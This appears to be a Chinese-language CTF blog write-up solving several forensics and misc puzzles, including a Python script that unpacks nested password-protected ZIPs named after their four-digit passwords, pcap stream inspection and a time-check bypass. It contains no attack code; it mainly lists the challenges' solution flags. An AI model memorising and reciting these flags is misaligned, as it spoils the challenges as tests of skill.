That was fast! The flag is: DDCTF{922ab9974a47cd322cf43b50610faea5}

百里挑一

image-20260411203630393

这里找到flag的前半段flag{ae58d0408e26e8,还差后半段,看了很多wp都说在tcp114流中

image-20260411204224107

flag{ae58d0408e26e8f26a3c0589d23edeec}

[MRCTF2020]千层套路

提示密码均为4位纯数字,然后密码为文件名,经过测试0573.zip的密码就是0573,写个脚本批量处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import zipfile
import os

# 你要解压的第一个文件路径
start_zip = r"0114.zip"

current_file = start_zip

print("开始自动解压千层 ZIP...\n")

while True:
# 如果不是zip就停止
if not current_file.endswith(".zip"):
print(f"✅ 最终文件:{current_file}")
break

# 获取文件名(不带路径)作为密码
file_name = os.path.basename(current_file)
password = os.path.splitext(file_name)[0] # 去掉后缀就是密码
print(f"正在解压:{current_file} | 密码:{password}")

try:
with zipfile.ZipFile(current_file) as zf:
# 设置密码并解压所有文件
zf.setpassword(password.encode('utf-8'))
zf.extractall()

# 获取解压出来的文件名(下一层)
next_file = zf.namelist()[0]

# 删除已经解压过的zip,避免干扰
os.remove(current_file)

# 进入下一层
current_file = next_file

except Exception as e:
print(f"❌ 解压失败:{e}")
break

最后是一个qr,随波逐流RGB数据串转图片

qr.txt_200×200

MRCTF{ta01uyout1nreet1n0usandtimes}

[BSidesSF2019]zippy

image-20260411205433130

调整显示为原始数据导入cybershef

image-20260411205612763

image-20260411205642909

supercomplexpassword解压即可CTF{this_flag_is_your_flag}

[MRCTF2020]CyberPunk

image-20260411210509999

修改系统时间为2020.9.17再次运行即可image-20260411210606079

{We1cOm3_70_cyber_security}

[UTCTF2020]basic-forensics

image-20260411211116919

直接搜flag就行flag{fil3_ext3nsi0ns_4r3nt_r34l}